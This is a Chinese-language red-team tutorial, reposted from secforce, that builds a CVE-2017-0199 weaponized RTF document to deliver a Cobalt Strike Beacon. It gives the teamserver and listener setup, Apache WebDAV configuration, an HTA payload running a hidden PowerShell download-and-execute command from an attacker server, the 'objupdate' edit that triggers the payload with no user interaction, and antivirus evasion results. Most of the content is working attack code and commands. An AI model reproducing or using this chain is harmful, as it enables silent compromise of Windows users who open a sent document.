在本文中,我們將解釋創(chuàng)建一個(gè)有效的概念RTF文件的基礎(chǔ)過(guò)程,該文件將執(zhí)行Cobalt Strike Beacon有效載荷,而不需要用戶交互,也不需要終端彈出窗口,因?yàn)檫@可以證明在Red Team中非常有用。
請(qǐng)?jiān)谙旅婧?jiǎn)要介紹相關(guān)步驟:
- Cobalt Strike 服務(wù)器將與偵聽(tīng)信標(biāo)一起設(shè)置,以便在受害計(jì)算機(jī)(在此實(shí)例Windows 8.1中實(shí)時(shí)啟動(dòng)Windows Defender)時(shí),從信標(biāo)有效載荷接收連接。
- 將創(chuàng)建一個(gè)名為 exploit.rtf 文件的RTF ,指向一個(gè)名為 CVE-2017-0199_POC 的第二個(gè)RTF文件的OLE對(duì)象(該文件將只有一些POC文本)。
- 一旦 exploit.rtf 與 CVE-2017-0199_POC RTF文檔鏈接,該文件將被連接到使用的payload
- 該 exploit.rtf
- 無(wú)需用戶交互自動(dòng)執(zhí)行HTA進(jìn)行修改。
Cobalt Strike設(shè)置和生成payload
為了能夠從執(zhí)行的payload接收連接,需要以下步驟:
使用以下命令啟動(dòng)Cobalt Strike Team Server:
./teamserver x.x.x.x password
使用該命令,運(yùn)行默認(rèn)5050端口上的Cobal Strike Team Server。為了能夠連接到服務(wù)器(使用與上一個(gè)命令設(shè)置的密碼),您將需要啟動(dòng)客戶端:
java -jar cobaltstrike.jar
客戶端GUI啟動(dòng)后,讓我們創(chuàng)建一個(gè)監(jiān)聽(tīng),從” Cobalt Strike 菜單點(diǎn)擊“ Listeners :
Cobalt Strike -> Listeners

然后填寫(xiě)所需的信息,如名稱(chēng),有效載荷,主機(jī)和端口,然后單擊 添加 。 從我們的場(chǎng)景中的以下圖像可以看出,使用了一個(gè)在端口4444上偵聽(tīng)本地IP地址的 windows / beacon_http / reverse_http 有效載荷:

單擊 保存 以存儲(chǔ)設(shè)置。 繼續(xù)輸入您將使用的IP地址或任何解析的域名:

在此階段,可以添加任何解析為之前設(shè)置的IP地址的域。
一旦你點(diǎn)擊 確定 ‘開(kāi)始的監(jiān)聽(tīng)器’將看起來(lái)像下面的截圖:

一旦監(jiān)聽(tīng)器啟動(dòng),我們將需要生成在受害機(jī)器上執(zhí)行的有效載荷。從 Attacks -> Web Drive-by菜單中單擊“Scripted Web Delivery”,如下圖所示:

一旦彈出“ Scripted Web Delivery ”窗口,就會(huì)填寫(xiě)所需的參數(shù)。您可以修改它們以滿足您的需求:

為了使腳本有效點(diǎn)擊 Launch :

這將在我們的主機(jī)上放一個(gè)名為“evil”的Powershell腳本,該腳本將在運(yùn)行上一圖像所示命令的受害計(jì)算機(jī)上執(zhí)行:
powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”
總結(jié):
- 端口4444上的監(jiān)聽(tīng)器已創(chuàng)建
- 創(chuàng)建了一個(gè)反向連接指向我們的偵聽(tīng)器的信標(biāo)有效載荷
利用環(huán)境設(shè)置
在本節(jié)中,我們將介紹第2步和第3步(請(qǐng)參考簡(jiǎn)介),以便將漏洞利用的環(huán)境設(shè)置為有效并且不需要用戶交互。
RTF OLE鏈接
我們需要執(zhí)行的第一步是創(chuàng)建 CVE-2017-0199_POC RTF文檔,該文檔將是一個(gè)具有任意內(nèi)容的簡(jiǎn)單RTF文件。在我們的情景中,它將包括一個(gè)POC文本,如下圖所示:

創(chuàng)建一個(gè)帶有POC文本的簡(jiǎn)單RTF
創(chuàng)建文件后,為方便起見(jiàn),將其復(fù)制到本地安裝的Kali,因?yàn)槲覀冃枰獮镺LE鏈接過(guò)程準(zhǔn)備好文件,這將在后續(xù)步驟中解釋。 為了文件 CVE-2017-0199_POC 被鏈接,我們將需要使用Apache服務(wù),而這需要一些調(diào)整才能有效。
# mkdir /var/www/html/word/
# cp CVE-2017-0199_POC.rtf /var/www/html/word/
這將將以前創(chuàng)建的文檔復(fù)制到Apache的目錄中,以便將文檔提供給HTTP OLE鏈接。 OLE鏈接過(guò)程將涉及到由服務(wù)器發(fā)送的PROPFIND請(qǐng)求,從而有必要使WebDav啟用:
# a2enmod dav
# a2enmod dav_fs
# a2enmod dav_lock
# a2enmod headers
如果一切順利,您可以繼續(xù)編輯apache2.conf,以指示Apache有效地為RFT文件提供服務(wù)。 為此,請(qǐng)使用文本編輯器編輯 /etc/apache2/apache2.conf 文件,并在文件末尾添加以下行:
<Directory /var/www/html/word/>
Header set Content-Type “application/rtf”
</Directory>
<Directory>
Dav on
</Directory>
要使更改生效,請(qǐng)重新啟動(dòng)Apache Web服務(wù)器:
#service apache2 restart
一旦Apache重新啟動(dòng),我們可以通過(guò)幾個(gè)簡(jiǎn)單的步驟繼續(xù)進(jìn)行鏈接過(guò)程:
- 用Word創(chuàng)建一個(gè)名為exploit.rtf的RTF文件
- 從“插入”菜單中單擊“對(duì)象”,并將HTTP鏈接放入CVE-2017-0199_POC文檔中,并勾選“鏈接到文件”選項(xiàng),如下圖所示

單擊 確定 并保存文件。然后,文件將在“exploit”會(huì)話中進(jìn)行修改,以便在沒(méi)有任何用戶交互的情況下觸發(fā)有效載荷執(zhí)行。
HTA payload創(chuàng)建
我們現(xiàn)在需要生成一個(gè)HTA有效載荷,或者簡(jiǎn)單地放置一個(gè)由負(fù)責(zé)執(zhí)行這些類(lèi)型文件的Microsoft mshta 代理執(zhí)行的代碼。
我們將修改HTA以下部分,以執(zhí)行我們的有效載荷:
<html>
<head>
<script>var c= 'command' new ActiveXObject('WScript.Shell').Run(c);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
要做到這一點(diǎn),第一步是用我們要在受害機(jī)器上執(zhí)行的Powershell命令替換’command’。
如前所述,命令如下:
powershell.exe -nop -w hidden -c“IEX((new-object net.webclient).downloadstring('http://172.16.17.39:80/evil'))”
所以修改后的內(nèi)容現(xiàn)在將顯示為:
<html>
<head>
<script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
看起來(lái)似乎都很好,但是如果我們嘗試執(zhí)行這個(gè)HTA,它會(huì)彈出一個(gè)powershell/命令提示符窗口,但是我們希望盡可能的隱身。通過(guò)進(jìn)一步研究,我們發(fā)現(xiàn)將 Run(c) 字符串修改為 Run(c,0) 將導(dǎo)致我們的命令在沒(méi)有任何命令提示符/ powershell彈出窗口的情況下被執(zhí)行。 所以最終的HTA有效載荷將如下:
<html>
<head>
<script>var c= 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://172.16.17.39:80/evil\'))"'; new ActiveXObject('WScript.Shell').Run(c,0);</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
現(xiàn)在需要用這個(gè)新創(chuàng)建的HTA有效載荷替換“ /var/www/html/word/CVE-2017-0199_POC.rtf ”文檔。
可以使用以下命令:
將HTA有效載荷保存為/var/www/html/word/payload.hta
# cp /var/www/html/word/payload.hta /var/www/html/word/ CVE-2017-0199_POC.rtf
為了使此更改生效并觸發(fā)有效載荷執(zhí)行,我們將需要指示Apache將此文件作為RTF解析,而不是作為HTA。 要做到這一點(diǎn),只需將 Content type 從“ application/rtf ”更改為“ application/hta”,即可將其更改為以前編輯的/etc/apache2/apache2.conf,然后重新啟動(dòng)apache web服務(wù)器。
總結(jié):
- exploit.rtf和CVE-2017-0199_POC.rtf 之間的OLE鏈接已創(chuàng)建
- 將創(chuàng)建一個(gè)將執(zhí)行Beacon有效負(fù)載的HTA,并將其替換為原始的 CVE-2017-0199_POC.rtf
- Apache Web服務(wù)器被修改為將 /var/html/www/word 目錄中的任何RTF文件為HTA提供服務(wù),以便執(zhí)行HTA有效載荷
開(kāi)發(fā)
為了使有效載荷即使沒(méi)有用戶交互也可以執(zhí)行成功,,我們將需要修改以前創(chuàng)建的 exploit.rtf文件。 我們將添加的參數(shù)是“objupdate”,顧名思義,當(dāng)打開(kāi)惡意 exploit.rtf 時(shí),將觸發(fā)自動(dòng)更新/執(zhí)行鏈接文件。 為了應(yīng)用此更改將需要以下命令:
sed -ie ‘s/objautlink/objautlink\\objupdate/g’ exploit.rtf
exploit.rtf現(xiàn)在可以發(fā)送,它將觸發(fā)一個(gè)Beacon有效載荷,無(wú)需任何用戶交互即可執(zhí)行終端,您可以從以下截圖和POC視頻中看到

exploit.rtf被打開(kāi),并且不需要用戶交互來(lái)觸發(fā)有效負(fù)載來(lái)執(zhí)行
我們的監(jiān)聽(tīng)程序已經(jīng)成功收到了一個(gè)反向HTTP連接:

殺軟警告
在我們的實(shí)驗(yàn)室環(huán)境中,我們?cè)?a target="_blank" href="http://www.liuyangsem.com" class="UBBWordLink">Windows 8.1實(shí)例上執(zhí)行有效負(fù)載,啟用Windows Defender實(shí)時(shí)保護(hù)。使用Windows Defender,該文件未被標(biāo)記為惡意軟件。 但是,我們還在安裝了卡巴斯基的Small Office Security的Windows 7 SP1實(shí)例上嘗試了該文件。在這種環(huán)境下,卡巴斯基將我們的文件標(biāo)記為惡意文件,并阻止有效載荷執(zhí)行。
*參考來(lái)源: secforce ,轉(zhuǎn)載請(qǐng)注明來(lái)自MottoIN
|